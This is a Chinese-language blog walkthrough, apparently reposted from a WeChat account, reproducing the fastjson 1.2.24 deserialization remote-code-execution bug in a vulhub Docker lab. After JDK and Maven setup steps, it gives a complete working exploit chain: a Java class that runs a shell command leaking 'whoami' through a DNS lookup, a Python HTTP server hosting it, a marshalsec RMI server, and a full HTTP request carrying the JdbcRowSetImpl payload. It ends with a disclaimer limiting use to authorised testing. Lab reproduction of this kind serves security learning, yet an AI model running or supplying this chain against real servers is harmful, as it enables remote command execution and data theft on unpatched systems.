fastjson1.2.24漏洞复现详细过程(各种踩坑)

admin 2021年12月2日11:18:08代码审计评论50 views2714字阅读9分2秒阅读模式

环境安装 ●

docker-compose up -d先启动vulhub的fastjson环境(不会使用vulhub可以去这里:https://vulhub.org/#/docs/)

fastjson1.2.24漏洞复现详细过程(各种踩坑)

Docker开启的8090端口

假设我们目标IP为1.1.1.1,此时我们访问1.1.1.1:8090

fastjson1.2.24漏洞复现详细过程(各种踩坑)

安装环境(maven与jdk,以就有的跳过此步)

安装jdk环境

很多linux自带有jdk环境,但缺少很多组件,会报错实属正常

https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统版本选择jdk下载

mkdir /opt/java

tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

vim  /etc/profile

末尾增加

export JAVA_HOME=/opt/java/ jdk1.8.0_251

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

source /etc/profile

测试

java -version

fastjson1.2.24漏洞复现详细过程(各种踩坑)

安装maven(linux为例)

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

mkdir /opt/maven

tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

配置环境变量

vim /etc/profile

在最下面增加

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

export PATH=$MAVEN_HOME/bin:$PATH

验证maven是否安装成功

mvn -version

fastjson1.2.24漏洞复现详细过程(各种踩坑)

报错解决:

你可能遇到这样的报错

fastjson1.2.24漏洞复现详细过程(各种踩坑)

说明你安装的jdk有问题,按上述方法不行就百度。

如果是这样:

fastjson1.2.24漏洞复现详细过程(各种踩坑)

说明你环境变量没配置好,报这个错我才发现可以直接用apt安装,可能是我换了个系统这个源里面有,之前实验的时候不是这个系统,我这系统是ubantu,具体apt安装出来的能不能用自己试。

漏洞复现 ●

保存以下代码,命名为dnslog.java

import java.lang.Runtime;

import java.lang.Process;

public class dnslog{

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}


执行以下代码会生成一个dnslog.class文件

javac dnslog.java

使用python在当前目录下起一个http服务,如果端口占用换其他的 

python -m SimpleHTTPServer 4567

使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类dnslog.class

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec/

编译项目

mvn clean package -DskipTests

如果出现下图情况,就是jdk环境问题,自带jdk环境不完整。按上面步骤安装即可。

fastjson1.2.24漏洞复现详细过程(各种踩坑)

成功是这样的,target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。

fastjson1.2.24漏洞复现详细过程(各种踩坑)

当前目录下执行命令开启RMI服务:

以我搭建dnslog.class类http服务的服务器IP为2.2.2.2端口为4567为例:

cd target/

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#TouchFile" 9999

RMI服务可以搭建在与dnslog.class类的http服务同一台服务器,也可以搭建在其它服务器上。我们演示还是在同一台。

既然环境准备就绪就掏出burp开搞吧:

构造payload放入burp中发送


POST / HTTP/1.1

Host: 1.1.1.1:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 160

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://2.2.2.2:9999/dnslog",

        "autoCommit":true

    }

}


成功后是这样的

RMI:

fastjson1.2.24漏洞复现详细过程(各种踩坑)

Python起的http服务:

fastjson1.2.24漏洞复现详细过程(各种踩坑)

Burp返回包:

fastjson1.2.24漏洞复现详细过程(各种踩坑)

fastjson1.2.24漏洞复现详细过程(各种踩坑)

Dnslog平台能看到执行结果:

fastjson1.2.24漏洞复现详细过程(各种踩坑)

为什么我要说着三处执行情况,大家肯定很好奇,直接说结果不就好了吗?

这里又是已给可能出错的地方,第一处检查rmi运行情况,第二处检查http服务开启情况,第三处就是执行结果。

如果最终结果有问题,那处结果显示不正常就去哪个地方找原因。第一二处最有可能出现问题的就是端口占用或者防火墙拦截。Dnslog平台没有显示就说明命令未执行成功,也有可能是平台问题。具体自己检查。

免责声明 ●

  本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。   
    请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试~~(重要的事情说三遍)~~,如作他用所承受的法律责任一概与作者无关!!!

本文始发于微信公众号(凌晨安全):fastjson1.2.24漏洞复现详细过程(各种踩坑)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月2日11:18:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  fastjson1.2.24漏洞复现详细过程(各种踩坑) http://cn-sec.com/archives/497528.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: